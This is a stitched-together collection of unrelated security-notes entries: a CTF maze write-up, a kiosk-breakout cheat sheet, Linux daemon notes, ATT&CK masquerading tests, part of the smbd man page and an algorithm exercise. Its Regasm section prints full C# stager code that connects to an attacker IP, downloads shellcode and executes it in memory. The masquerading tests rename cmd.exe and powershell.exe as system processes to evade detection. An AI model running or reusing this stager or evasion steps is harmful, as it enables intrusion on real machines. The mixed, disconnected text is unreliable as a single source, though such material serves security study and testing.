- [Spring Boot 2.x基础教程：使用MyBatis的XML配置方式](https://blog.didispace.com/spring-boot-learning-21-3-6/)
- [Spring Boot 2.x基础教程：使用PostgreSQL数据库](https://blog.didispace.com/spring-boot-learning-2-6-4/)
- [Spring Boot 2.x基础教程：MyBatis的多数据源配置](https://blog.didispace.com/spring-boot-learning-21-3-9/)
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sec-knowleage
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# 迷宫问题
迷宫问题有以下特点:
* 在内存中布置一张"地图"
* 将用户输入限制在少数几个字符范围内.
* 一般只有一个迷宫入口和一个迷宫出口
布置的地图可以由可显字符(比如`#`和`*`)组合而成(这非常明显, 查看字符串基本就知道这是个迷宫题了.), 也可以单纯用不可显的十六进制值进行表示. 可以将地图直接组成一条非常长的字符串, 或是一行一行分开布置. 如果是一行一行分开布置的话, 因为迷宫一般都会比较大, 所以用于按行(注意, 布置并非按顺序布置, 每行都对应一个具体的行号, 你需要确定行号才能还原迷宫地图)布置迷宫的函数会明显重复多次.
而被限制的字符通常会是一些方便记忆的组合(不是也没办法), 比如`w/s/a/d`, `h/j/k/l`, `l/r/u/d`这样的类似组合. 当然各个键具体的操作需要经过分析判断(像那种只用一条字符串表示迷宫的, 就可以用`t`键表示向右移动`12`个字符这样). 对于二维的地图, 一般作者都会设置一个`X坐标`和一个`Y坐标`用于保存当前位置. 我们也可以根据这个特点来入手分析.
一般情况下, 迷宫是只有1个入口和1个出口, 像入口在最左上角`(0, 0)`位置, 而出口在最右下角`(max_X, max_Y)`处. 但也有可能是出口在迷宫的正中心, 用一个`Y`字符表示等等. 解答迷宫题的条件也是需要根据具体情况判断的.
当然迷宫的走法可能不止1条, 也有情况是有多条走法, 但是要求某一个走法比如说代价最小. 那么这就可以变相为一个算法问题.
## Volga Quals CTF 2014: Reverse 100
接下来我们以这道题进行示例, 这是一道简单的迷宫题. 该题对地图按行乱序布置, 使用的字符是`#`和`*`.
对应的`crackme`可以点击此处下载: [rev100](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/maze/2014_volga_quals/rev100)
对应的`idb`可以点击此处下载: [rev100.i64](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/maze/2014_volga_quals/rev100.i64)
我们可以到`.rodata`段用光标选择所有的地图字符串, 按下`shift+E`提取所有的地图数据.
但是目前提取到的地图字符串, 从上往下并非是按顺序的, 因此我们需要回到IDA生成的伪C代码, 获取行号并重新排序组合起来.
最后得到的完整地图如下:
对应的`迷宫地图文件`可以点击此处下载: [maze_array.txt](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/maze/2014_volga_quals/maze_array.txt)
再来看迷宫移动所需要的字符:
这里我们知道, 可以使用的字符有`L/R/U/D`, 分别对应于`左/右/上/下`.
再往下看
通过调试是可以知道, 这里其实是每次在用户输入`L/R/U/D`后, 先打印一次你的输入, 然后打印对应的`X/Y坐标`. 而最后的判定成功的条件, 就是当`pos_x == 89 && pos_y == 28`. 那么我们就可以根据上述信息, 获得走出迷宫的路径.
最后得到的迷宫路径就是
```
RDDRRRRRRRRRRRRRRRRRRDDDDDDDDDDRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRUUUUUULLLLLLLLLDDRRRRRRDDLLLLLLLLLLLLLUURRRUUUUURRRRRRRRRRRRRRRRRRRRRRRRRRDDDDDDDDDDDDDDDRRRRRRRRRRRRRRRRUUUUUUUUUUUUULLLLLLLUUUURRRRRRRRRRRRDDDDDDDDDDDDDDDDDDDLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLUUUURRRRRRRRRRRRRRRRRRRRRDRRRRRRRRRRRRRRUUULLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLDDDDDRRRRRUUURRRRDDDDDLLLLLLLLLDDDDRRRRRRRRRRUUURRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRDDDDDDRRRRRRRRRRRRRRRRRRRRRRRRRRRR
```
## 参考链接
* [[VolgaCTF Quals 2014 writeup - Reverse-100](https://singularityctf.blogspot.com/2014/03/volgactf-quals-2014-writeup-reverse-100.html)]
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sec-knowleage
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# Application Escape and Breakout
## Summary
* [Gaining a command shell](#gaining-a-command-shell)
* [Sticky Keys](#sticky-keys)
* [Dialog Boxes](#dialog-boxes)
* [Creating new files](#creating-new-files)
* [Open a new Windows Explorer instance](#open-a-new-windows-explorer-instance)
* [Exploring Context Menus](#exploring-context-menus)
* [Save as](#save-as)
* [Input Boxes](#input-boxes)
* [Bypass file restrictions](#bypass-file-restrictions)
* [Internet Explorer](#internet-explorer)
* [Shell URI Handlers](#shell-uri-handlers)
* [References](#references)
## Gaining a command shell
* **Shortcut**
* [Window] + [R] -> cmd
* [CTRL] + [SHIFT] + [ESC] -> Task Manager
* [CTRL] + [ALT] + [DELETE] -> Task Manager
* **Access through file browser**: Browsing to the folder containing the binary (i.e. `C:\windows\system32\`), we can simply right click and `open` it
* **Drag-and-drop**: dragging and dropping any file onto the cmd.exe
* **Hyperlink**: `file:///c:/Windows/System32/cmd.exe`
* **Task Manager**: `File` > `New Task (Run...)` > `cmd`
* **MSPAINT.exe**
* Open MSPaint.exe and set the canvas size to: `Width=6` and `Height=1` pixels
* Zoom in to make the following tasks easier
* Using the colour picker, set pixels values to (from left to right):
```ps1
1st: R: 10, G: 0, B: 0
2nd: R: 13, G: 10, B: 13
3rd: R: 100, G: 109, B: 99
4th: R: 120, G: 101, B: 46
5th: R: 0, G: 0, B: 101
6th: R: 0, G: 0, B: 0
```
* Save it as 24-bit Bitmap (*.bmp;*.dib)
* Change its extension from bmp to bat and run
## Sticky Keys
* Spawn the sticky keys dialog
* Via Shell URI : `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}`
* Hit 5 times [SHIFT]
* Visit "Ease of Access Center"
* You land on "Setup Sticky Keys", move up a level on "Ease of Access Center"
* Start the OSK (On-Screen-Keyboard)
* You can now use the keyboard shortcut (CTRL+N)
## Dialog Boxes
### Creating new files
* Batch files – Right click > New > Text File > rename to .BAT (or .CMD) > edit > open
* Shortcuts – Right click > New > Shortcut > `%WINDIR%\system32`
## Open a new Windows Explorer instance
* Right click any folder > select `Open in new window`
## Exploring Context Menus
* Right click any file/folder and explore context menus
* Clicking `Properties`, especially on shortcuts, can yield further access via `Open File Location`
### Save as
* "Save as" / "Open as" option
* "Print" feature – selecting "print to file" option (XPS/PDF/etc)
* `\\127.0.0.1\c$\Windows\System32\` and execute `cmd.exe`
### Input Boxes
Many input boxes accept file paths; try all inputs with UNC paths such as `//attacker–pc/` or `//127.0.0.1/c$` or `C:\`
### Bypass file restrictions
Enter *.* or *.exe or similar in `File name` box
## Internet Explorer
### Download and Run/Open
* Text files -> opened by Notepad
### Menus
* The address bar
* Search menus
* Help menus
* Print menus
* All other menus that provide dialog boxes
### Accessing filesystem
Enter these paths in the address bar:
* file://C:/windows
* C:/windows/
* %HOMEDRIVE%
* \\127.0.0.1\c$\Windows\System32
### Unassociated Protocols
It is possible to escape a browser based kiosk with other protocols than usual `http` or `https`.
If you have access to the address bar, you can use any known protocol (`irc`, `ftp`, `telnet`, `mailto`, etc.)
to trigger the *open with* prompt and select a program installed on the host.
The program will than be launched with the uri as a parameter, you need to select a program that will not crash when recieving it.
It is possible to send multiple parameters to the program by adding spaces in your uri.
Note: This technique required that the protocol used is not already associated with a program.
Example - Launching Firefox with a custom profile:
This is a nice trick since Firefox launched with the custom profile may not be as much hardened as the default profile.
0. Firefox need to be installed.
1. Enter the following uri in the address bar: `irc://127.0.0.1 -P "Test"`
2. Press enter to navigate to the uri.
3. Select the firefox program.
4. Firefox will be launched with the profile `Test`.
In this example, it's the equivalent of running the following command:
```
firefox irc://127.0.0.1 -P "Test"
```
## Shell URI Handlers
* shell:DocumentsLibrary
* shell:Librariesshell:UserProfiles
* shell:Personal
* shell:SearchHomeFolder
* shell:System shell:NetworkPlacesFolder
* shell:SendTo
* shell:Common Administrative Tools
* shell:MyComputerFolder
* shell:InternetFolder
## References
* [PentestPartners - Breaking out of Citrix and other restricted desktop environments](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/)
* [Breaking Out! of Applications Deployed via Terminal Services, Citrix, and Kiosks - Scott Sutherland - May 22nd, 2013](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/)
* [Escaping from KIOSKs - HackTricks](https://book.hacktricks.xyz/physical-attacks/escaping-from-gui-applications)
* [Breaking out of Windows Kiosks using only Microsoft Edge - Firat Acar - May 24, 2022](https://blog.nviso.eu/2022/05/24/breaking-out-of-windows-kiosks-using-only-microsoft-edge/)
* [HOW TO LAUNCH COMMAND PROMPT AND POWERSHELL FROM MS PAINT - 2022-05-14 - Rickard](https://tzusec.com/how-to-launch-command-prompt-and-powershell-from-ms-paint/)
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sec-knowleage
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# 27. 二叉树的镜像
[牛客网](https://www.nowcoder.com/practice/a9d0ecbacef9410ca97463e4a5c83be7?tpId=13&tqId=11171&tab=answerKey&from=cyc_github)
## 题目描述
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/0c12221f-729e-4c22-b0ba-0dfc909f8adf.jpg" width="300"/> </div><br>
## 解题思路
```java
public TreeNode Mirror(TreeNode root) {
if (root == null)
return root;
swap(root);
Mirror(root.left);
Mirror(root.right);
return root;
}
private void swap(TreeNode root) {
TreeNode t = root.left;
root.left = root.right;
root.right = t;
}
```
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# 守护进程
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Linux 服务器在启动时需要启动很多系统服务，它们向本地和网络用户提供了 Linux 的系统功能接口，直接面向应用程序和用户。提供这些服务的程序是由运行在后台的守护进程来执行的。守护进程是生存期长的一种进程。它们独立于控制终端并且周期性的执行某种任务或等待处理某些发生的事件。他们常常在系统引导装入时启动，在系统关闭时终止。linux 系统有很多守护进程，大多数服务器都是用守护进程实现的。同时，守护进程完成许多系统任务，比如，作 业规划进程 crond、打印进程 lqd 等。有些书籍和资料也把守护进程称作：“服务”。
守护进程，也就是指 daemon 和 service。
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## 守护进程的分类
根据守护进程的启动和管理方式，可以分为独立启动守护进程和超级守护进程两类
- 独立启动(stand_alone): 该类进程启动后就常驻内存，所以会一直占用系统资源。其最大的优点就是它会一直启动，当外界有要求时相应速度较快，像 httpd 等进程；
- 超级守护进程：系统启动时由一个统一的守护进程 xinet 来负责管理一些进程，当相应请求到来时需要通过 xinet 的转接才可以唤醒被 xinet 管理的进程。这种进程的优点时最初只有 xinet 这一守护进程占有系统资源，其他的内部服务并不一直占有系统资源，只有数据包到来时才会被 xinet 管理员来唤醒。并且我们还可以通过 xinet 来对它所管理的进程设置一些访问权限，相当于多了一层管理机制。
如果用两个比喻来形容两类守护进程的话一般会用银行的业务处理窗口来类比：
- 独立启动：银行里有一种单服务的窗口，像取钱，存钱等窗口，这些窗口边上始终会坐着一个人，如果有人来取钱或存钱，可以直接到相应的窗口去办理，这个处理单一服务的始终存在的人就是独立启动的守护进程；
- 超级守护进程：银行里还有一种窗口，提供综合服务，像汇款，转账，提款等业务；这种窗口附近也始终坐着一个人（xinet），她可能不提供具体的服务，提供具体服务的人在里面闲着聊天啊，喝茶啊，但是当有人来汇款时他会大声喊一句，小王，有人汇款啦，然后里面管汇款的小王会立马跑过来帮忙办完汇款业务。其他的人继续聊天，喝茶。这些负责具体业务的人我们就称之为超级守护进程。当然可能汇款人会有一些规则，可能不能往北京汇款，他就会提早告诉 xinet，所以如果有人来汇款想汇往北京的话，管理员就直接告诉他这个我们这里办不到的，于是就根本不会去喊汇款员了，相当于提供了一层管理机制。针对这种窗口还存在多线程和单线程的区别：
- 多线程：将所有用户的要求都提上来，里面的人都别闲着了，都一起干活吧；
- 单线程：大家都排好队了，一个一个来，里面的人同一时间只有一个人在工作。
这里需要注意的是超级守护进程的管理员 xinet 也是一个守护进程，只不过它的任务就是传话
当然每个守护进程都会监听一个端口（银行窗口），一些常用守护进程的监听端口是固定的，像 httpd 监听 80 端口， sshd 监听 22 端口等；我们可以将其理解为责任制，时候等待，有求必应。具体的端口信息可以通过 `cat /etc/services` 来查看。
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## Service 命令
Linux 的 service 命令就是查看和控制所有的独立启动的守护进程。 这个命令不是在所有的 linux 发行版本中都有。主要是在 redhat 系 linux 中。service 此命令位于 `/sbin/service`，用 file 命令查看此命令会发现它是一个脚本命令。分析脚本可知此命令的作用是去 `/etc/init.d` 目录下寻找相应的服务，进行开启和关闭等操作。例如 `service mysqld stop` 等价于 `/etc/init.d/mysqld stop`。
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## xinetd 程序
xinetd 即 extended internet daemon，xinetd 是新一代的网络守护进程服务程序，又叫超级 Internet 服务器。经常用来管理多种轻量级 Internet 服务。xinetd 提供类似于 inetd+tcp_wrapper 的功能，但是更加强大和安全。
**安装及启停**
```bash
rpm -ivh xinetd*
yum -y install xinetd
```
```bash
# 启动
service xinetd start
# 停止
service xinetd stop
# 重启
service xinetd restart
```
**配置**
xinetd 的配置文件是 `/etc/xinetd.conf`，但是它只包括几个默认值及 `/etc/xinetd.d` 目录中的配置文件。
如果要启用或禁用某项 xinetd 服务，编辑位于 `/etc/xinetd.d` 目录中的配置文件。例如，disable 属性被设为 yes，表示该项服务已禁用；disable 属性被设为 no，表示该项服务已启用。
参数和值之间的操作符可以是 `=`、`+=` 或 `-=`。所有属性可以使用 `=`，其作用是分配一个或多个值。某些属性可以使用 `+=` 或 `-=`，其作用分别是将其值增加到某个现存的值表中，或将其值从现存值表中删除。
xinetd.conf 配置参数如下
```
enabled 是否启用该服务或服务列表
disabled 是否停用该服务或服务列表
server 启动脚本的位置
server_args
socket_type 服务的数据包类型
log_type 包括：日志类型、路径、报警最大容量、停止服务的最大容量
log_on_success 成功后要将哪些值记录到日志中
log_on_failure 失败后要将哪些值记录到日志中
only_from 只有指定 IP 可以访问
no_access 指定 IP 不可以访问
access_times 允许连接的时间
user 运行此服务进程的用户
wait 服务将以多线程的方式运行
max_load 系统最大负载系数
cps m n 限制每秒 m 个入站连接，如果超过 m，则等待 n 秒，主要用于对付服务攻击
port 连接的端口
protocol 连接使用的协议
instances 最大连接进程数
per_source 限制每个主机的最大连接数
instances = 60： 表示最大连接进程数为 60 个。
log_type = SYSLOG authpriv： 表示使用 syslog 进行服务登记。
log_on_success= HOST PID： 表示设置成功后记录客户机的 IP 地址的进程 ID。
log_on_failure = HOST： 表示设置失败后记录客户机的 IP 地址。
cps = 25 30： 表示每秒 25 个入站连接，如果超过限制，则等待 30 秒。主要用于对付拒绝服务攻击。
includedir /etc/xinetd.d： 表示告诉 xinetd 要包含的文件或目录是 /etc/xinetd.d。
```
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## Source & Reference
* [Linux守护进程(init.d和xinetd)](https://www.cnblogs.com/itech/archive/2010/12/27/1914846.html)
* [Xinetd服务的安装与配置详解](https://www.cnblogs.com/sunsky303/p/10940700.html)
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### Regasm简介：
Regasm 为程序集注册工具，读取程序集中的元数据，并将所需的项添加到注册表中。RegAsm.exe是Microsoft Corporation开发的合法文件进程。它与Microsoft.NET Assembly Registration Utility相关联。
**说明：**Regasm.exe所在路径没有被系统添加PATH环境变量中，因此，REGASM命令无法识别。
具体参考微软官方文档：
https://docs.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool
基于白名单Regasm.exe配置payload：
Windows 7 默认位置：
```bash
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
```
**攻击机：**192.168.1.4 Debian
**靶机：**192.168.1.3 Windows 7
### 配置攻击机msf：
### 靶机执行：
```bash
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U Micropoor.dll
```
### 附录：Micropoor.cs
**注：x86 payload**
```csharp
using System; using System.Net; using System.Linq; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; using System.EnterpriseServices; using System.Windows.Forms;
namespace HYlDKsYF
{
public class kxKhdVzWQXolmmF : ServicedComponent {
public kxKhdVzWQXolmmF() { Console.WriteLine("doge"); }
[ComRegisterFunction]
public static void RegisterClass ( string pNNHrTZzW )
{
ZApOAKJKY.QYJOTklTwn();
}
[ComUnregisterFunction]
public static void UnRegisterClass ( string pNNHrTZzW )
{
ZApOAKJKY.QYJOTklTwn();
}
}
public class ZApOAKJKY
{ [DllImport("kernel32")] private static extern UInt32 HeapCreate(UInt32 FJyyNB, UInt32 fwtsYaiizj, UInt32 dHJhaXQiaqW);
[DllImport("kernel32")] private static extern UInt32 HeapAlloc(UInt32 bqtaDNfVCzVox, UInt32 hjDFdZuT, UInt32 JAVAYBFdojxsgo);
[DllImport("kernel32")] private static extern UInt32 RtlMoveMemory(UInt32 AQdEyOhn, byte[] wknmfaRmoElGo, UInt32 yRXPRezIkcorSOo);
[DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 uQgiOlrrBaR, UInt32 BxkWKqEKnp, UInt32 lelfRubuprxr, IntPtr qPzVKjdiF, UInt32 kNXJcS, ref UInt32 atiLJcRPnhfyGvp);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr XSjyzoKzGmuIOcD, UInt32 VumUGj);static byte[] HMSjEXjuIzkkmo(string aCWWUttzmy, int iJGvqiEDGLhjr) {
IPEndPoint YUXVAnzAurxH = new IPEndPoint(IPAddress.Parse(aCWWUttzmy), iJGvqiEDGLhjr);
Socket MXCEuiuRIWgOYze = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
try { MXCEuiuRIWgOYze.Connect(YUXVAnzAurxH); }
catch { return null;}
byte[] Bjpvhc = new byte[4];
MXCEuiuRIWgOYze.Receive(Bjpvhc, 4, 0);
int IETFBI = BitConverter.ToInt32(Bjpvhc, 0);
byte[] ZKSAAFwxgSDnTW = new byte[IETFBI + 5];
int JFPJLlk = 0;
while (JFPJLlk < IETFBI)
{ JFPJLlk += MXCEuiuRIWgOYze.Receive(ZKSAAFwxgSDnTW, JFPJLlk + 5, (IETFBI ‐ JFPJLlk) < 4096 ? (IETFBI ‐ JFPJLlk) : 4096, 0);}
byte[] nXRztzNVwPavq = BitConverter.GetBytes((int)MXCEuiuRIWgOYze.Handle);
Array.Copy(nXRztzNVwPavq, 0, ZKSAAFwxgSDnTW, 1, 4); ZKSAAFwxgSDnTW[0] = 0xBF;
return ZKSAAFwxgSDnTW;}
static void TOdKEwPYRUgJly(byte[] KNCtlJWAmlqJ) {
if (KNCtlJWAmlqJ != null) {
UInt32 uuKxFZFwog = HeapCreate(0x00040000, (UInt32)KNCtlJWAmlqJ.Lengt h, 0);
UInt32 sDPjIMhJIOAlwn = HeapAlloc(uuKxFZFwog, 0x00000008, (UInt32)KNCtlJWAmlqJ.Length);
RtlMoveMemory(sDPjIMhJIOAlwn, KNCtlJWAmlqJ, (UInt32)KNCtlJWAmlqJ.Length);
UInt32 ijifOEfllRl = 0;
IntPtr ihXuoEirmz = CreateThread(0, 0, sDPjIMhJIOAlwn, IntPtr.Zero, 0, ref ijifOEfllRl);
WaitForSingleObject(ihXuoEirmz, 0xFFFFFFFF);}}
public static void QYJOTklTwn() {
byte[] ZKSAAFwxgSDnTW = null; ZKSAAFwxgSDnTW = HMSjEXjuIzkkmo("192.168.1.4", 53);
TOdKEwPYRUgJly(ZKSAAFwxgSDnTW);
} } }
```
> Micropoor
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# T1036-003-win-重命名程序名称
## 来自ATT&CK的描述
攻击者可能会重命名合法的系统实用程序，以试图规避有关这些实用程序使用的安全机制。安全监视和控制机制可能适用于攻击者能够滥用的系统实用程序。可以通过在使用之前重命名实用程序来绕过这些安全机制（例如： rename `rundll32.exe`）。当合法实用程序被复制或移动到不同的目录并重命名以避免基于从非标准路径执行的系统实用程序的检测。
## 测试案例
Masquerading是为了逃避蓝队的查找,而进行的伪装.其中的一种方法是可执行文件放在一个通常受信任的目录中，或者给它一个合法的名字.或者文件名是一个和受信任文件相似的文件名.其中一个情况就是当common system utility被移动和修改名字,来避免被检测.这可以绕过基于文件名的检测,以及蓝队的眼睛。
还有一种是right-to-left覆盖(RTLO or RLO) ,它可以让文件名反过来,迷惑蓝队成员
红队还可以修改二进制文件的图标,产品描述等来迷惑蓝队成员
对于windows还有一种技术:对合法的工具集进行重命名,例如rundll32.exe,一个案例就是当合法的工具集移动到不同的目录中并且重命名来避免检查.其中一个滥用的受信任地址为`C:\Windows\System32`,有害的程序可以伪装成`"explorer.exe"和"svchost.exe"`来绕过检查.
对于linux系统,有一种技术就是在程序运行之后,修改它的名称和路径,防止检测,一个被滥用的地址就是`/bin`名称可以改为”rsyncd”和”dbus-inotifier”
## 检测日志
Windows安全日志/Sysmon日志
## 测试复现
### 测试1 MASQUERADING AS WINDOWS LSASS PROCESS
复制cmd.exe并重命名,把它伪装成了lsass.exe
```
cmd.exe /c copy %SystemRoot%\System32\cmd.exe %SystemRoot%\Temp\lsass.exe
cmd.exe /c %SystemRoot%\Temp\lsass.exe
```
清除
```
del /Q /F %SystemRoot%\Temp\lsass.exe
```
win10成功复现
### 测试2 MASQUERADING AS LINUX CROND PROCESS.
复制sh,重命名crond,然后运行它达到伪装的目的
```
cp /bin/sh /tmp/crond
/tmp/crond
```
成功复现
### 测试3 MASQUERADING - CSCRIPT.EXE RUNNING AS NOTEPAD.EXE
把cscript.exe伪装成notepad.exe
```
copy %SystemRoot%\System32\cscript.exe %APPDATA%\notepad.exe /Y
cmd.exe /c %APPDATA%\notepad.exe /B
```
清除
```
del /Q /F %APPDATA%\notepad.exe
```
win10成功复现
### 测试4 MASQUERADING - WSCRIPT.EXE RUNNING AS SVCHOST.EXE
```
copy %SystemRoot%\System32\wscript.exe %APPDATA%\svchost.exe /Y
cmd.exe /c %APPDATA%\svchost.exe /B
```
win10成功复现
### 测试5 MASQUERADING - POWERSHELL.EXE RUNNING AS TASKHOSTW.EXE
```
copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\taskhostw.exe /Y
cmd.exe /K %APPDATA%\taskhostw.exe
```
win10成功复现
### 测试6 MASQUERADING - NON-WINDOWS EXE RUNNING AS WINDOWS EXE
```
copy #{inputfile} #{outputfile}
$myT1036 = (Start-Process -PassThru -FilePath #{outputfile}).Id
Stop-Process -ID $myT1036
```
win10成功复现
### 测试7 MASQUERADING - WINDOWS EXE RUNNING AS DIFFERENT WINDOWS EXE
```
copy #{inputfile} #{outputfile}
$myT1036 = (Start-Process -PassThru -FilePath #{outputfile}).Id
Stop-Process -ID $myT1036
```
win10成功复现
### 测试8 MALICIOUS PROCESS MASQUERADING AS LSM.EXE
```
copy C:\Windows\System32\cmd.exe D:\lsm.exe
D:\lsm.exe /c echo T1036 > D:\T1036.txt
```
win10成功复现
## 日志留痕
可参考Windows 安全日志4688事件说明、Windows Sysmon安全日志1事件说明。
## 检测规则/思路
### sigma规则
无有效检测规则。
### 建议
如果文件名与磁盘上的文件名和二进制文件的PE元数据不匹配，这很可能表明二进制文件在被编译后被重新命名。通过查看InternalName、OriginalFilename或ProductName是否与预期（收集到的历史数据）相符，可以提供有用的线索，但不一定能说明存在恶意活动。不要关注一个文件可能使用的名字，而是关注已知使用的、与众不同的命令行参数，因为它的检测率会更高。
## 相关TIP
[[T1036-004-win-伪装服务或任务]]
[[T1036-win-隐藏用户账户带$符号]]
## 参考推荐
MITRE-ATT&CK-T1036-003
<https://attack.mitre.org/techniques/T1036/003>
跟着ATT&CK学安全之defense-evasion
<https://snappyjack.github.io/articles/2020-01/%E8%B7%9F%E7%9D%80ATT&CK%E5%AD%A6%E5%AE%89%E5%85%A8%E4%B9%8Bdefense-evasion>
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sec-knowleage
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.\"Generated by db2man.xsl. Don't modify this, modify the source.
.de Sh \" Subsection
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Ip \" List item
.br
.ie \\n(.$>=3 .ne \\$3
.el .ne 3
.IP "\\$1" \\$2
..
.TH "SMBD" 8 "" "" ""
.SH NAME
smbd \- 向客户提供SMB/CIFS服务的服务器
.SH "总览 SYNOPSIS"
\fBsmbd\fR [-D] [-F] [-S] [-i] [-h] [-V] [-b] [-d <debug level>] [-l <log directory>][-p <port number>] [-O <socket option>] [-s <configuration file>]
.SH "描述 DESCRIPTION"
.PP
此程序是\fBSamba\fR(7) 套件的一部分。
.PP
\fBsmbd\fR 是向Windows客户机提供文件共享和打印服务的服务器进程。该服务器用SMB(或CIFS)协议向客户提供文件存放空间和打印服务。它与LanManager协议兼容并能向使用此协议的客户提供服务。这些客户端包括MSCLIENT 3.0 for DOS，Windows for Workgroups，Windows 95/98/ME，Windows NT，Windows 2000, OS/2，DAVE for Macintosh, 和smbfs for Linux。
.PP
用来控制服务属性的配置文件的手册页中对服务器可提供的服务进行了详细的描述(参见 \fBsmb.conf\fR (5))。此手册不描述提供的服务但集中讲述了对管理服务器运行等方面的问题描述。
.PP
请注意对服务器运行有关的非常重要的安全性问题，同时在进行安装处理前也应该仔细阅读\fBsmb.conf\fR (5)手册。
.PP
只要有客户请求就会建立一个对话。对每个对话，每个客户获得服务器的一份复本。在对话期间此复本对所有客户产生的连接进行服务。当来自此客户的所有连接都关闭时，此客户的服务器复本也退出。
.PP
服务器所包含的配置文件和其它任何文件都会在每次更改后自动重新装入。你可以通过对服务器发送一个SIGHUP信息来强制一次重新装入。重新装入配置文件对已建立的任何对服务的连接均无效。要么用户必须断开服务，要么将\fBsmbd\fR进程中止并重启。
.SH "选项 OPTIONS"
.TP
-D
如果指定此选项，则服务器以后台进程方式运行。即，它会分离本身并在后台运行，在适当的端口上监听请求。对于提供比临时性的文件和打印服务更多内容的服务器，推荐将\fBsmbd\fR 以后台进程方式运行。如果在shell命令行运行\fBsmbd \fR，将默认使用这个选项。
.TP
-F
If specified, this parameter causes the main \fBsmbd\fR process to not daemonize, i\&.e\&. double-fork and disassociate with the terminal\&. Child processes are still created as normal to service each connection request, but the main process does not exit\&. This operation mode is suitable for running \fBsmbd\fR under process supervisors such as \fBsupervise\fR and \fBsvscan\fR from Daniel J\&. Bernstein's \fBdaemontools\fR package, or the AIX process monitor\&.
.TP
-S
If specified, this parameter causes \fBsmbd\fR to log to standard output rather than a file\&.
.TP
-i
If this parameter is specified it causes the server to run "interactively", not as a daemon, even if the server is executed on the command line of a shell. Setting this parameter negates the implicit deamon mode when run from the command line. \fBsmbd\fR also logs to standard output, as if the \fB-S\fR parameter had been given.
.TP
-V
打印smbd的版本号。
.TP
-s <configuration file>
指定的文件包含了服务器所需的配置细节。此文件中的信息包含如所用的printcap文件这样的服务器详细信息，同时也对服务器所提供的服务进行了描述。请参见\fIsmb.conf\fR (5)文件。缺省的配置文件名在软件包编译时决定。
.TP
-d|--debug=debuglevel
\fIdebuglevel\fR 是一个从0到10的整数。如果没有指定此参数则默认的值是0。
如果这个值越高，越多关于服务器的详细活动信息将被记录到文件中。在0调试级时，只记录紧急错误和严重警告。对于平日的运行服务，1调试级是个合理的等级，它只产生小量的关于执行操作的信息。
1以上的调试级将产生相当多的记录数据，并且只在解决问题时才有用。3以上的调试级只被设计为让开发者使用并会产生极大数量的记录数据，而且其中很多部分非常难以理解。
注意在此使用这个参数将越过在\fIsmb.conf\fR (5)文件中的\fIlog level\fR参数。
.TP
-l|--logfile=logbasename
用来记录/调试的文件。会自动为它添加 \fB".client"\fR 扩展名。客户端不会将记录文件删除。
.TP
-h|--help
打印smbd的命令行参数(用法)。
.TP
-b
Prints information about how Samba was built\&.
.TP
-l <log directory>
If specified, \fIlog directory\fR specifies a log directory into which the "log.smbd" log file will be created for informational and debug messages from the running server\&. The log file generated is never removed by the server although its size may be controlled by the \fImax log size\fR option in the \fBsmb.conf\fR(5) file. \fBBeware:\fR If the directory specified does not exist, \fBsmbd\fR will log to the default debug log location defined at compile time.
The default log directory is specified at compile time.
.TP
-p <port number>
\fIport number\fR 端口号是个正值整数。如果此选项未指定则缺省值为139。
这个端口号用于从客户端建立对服务器的连接。基于TCP上的SMB所用的标准(通常使用的)端口号为139，因此这是缺省值。如果你希望作为普通用户而不是root身份运行服务器的话，多数系统会要求你使用1024以上的端口号 - 如有此情况请向系统管理员取得帮助。
为了使更多客户使用服务器，而又在139以外的端口进行配置，则你需要在端口139上进行端口重定向，在rfc1002.txt的4.3.5部分有详细的描述。
除上述情况以外，此选项通常不用。
.SH "文件 FILES"
.TP
\fI/etc/inetd.conf\fR
如果通过\fBinetd\fR 超级进程来运行服务器，则此文件必须含有适当的启动信息。
.TP
\fI/etc/rc\fR
(或其它你的系统所用的初始化脚本)。
如果在启动时以后台进程模式运行服务器，则此文件须包含适当的服务器启动次序。
.TP
\fI/etc/services\fR
如果通过\fBinetd\fR超级进程来运行服务器，则此文件必须包含一份服务端口(如139)和协议类型(如tcp)与对应的服务名(如netbios-ssn)的映射。
.TP
\fI/usr/local/samba/lib/smb.conf\fR
缺省的服务器配置文件 \fBsmb.conf\fR(5)的存放位置。系统安装此文件的其它通常位置为 \fI/usr/samba/lib/smb.conf\fR和\fI/etc/samba/smb.conf\fR。
此文件描述了客户可获得的服务项的情况。参见\fBsmb.conf\fR(5)获得更多情况。
.SH "限制 LIMITATIONS"
.PP
在有些系统上，\fBsmbd\fR无法在一次setuid()调用以后把uid返回到root。这样的系统称为“陷门”(trapdoor)uid系统。如果你使用这样的系统，将无法同时在一个客户端(如一台PC机)以两个不同的用户身份进行连接。试图连接第二个用户将得到“访问被拒”或类似的结果。
.SH "环境变量 ENVIRONMENT VARIABLES"
.TP
\fBPRINTER\fR
如果对可打印服务没有指定打印名称，多数系统将使用此变量(如果未定义此变量则用\fBlp\fR )的值作为可用打印机的名称。但并不是服务器特定的。
.SH "PAM INTERACTION"
.PP
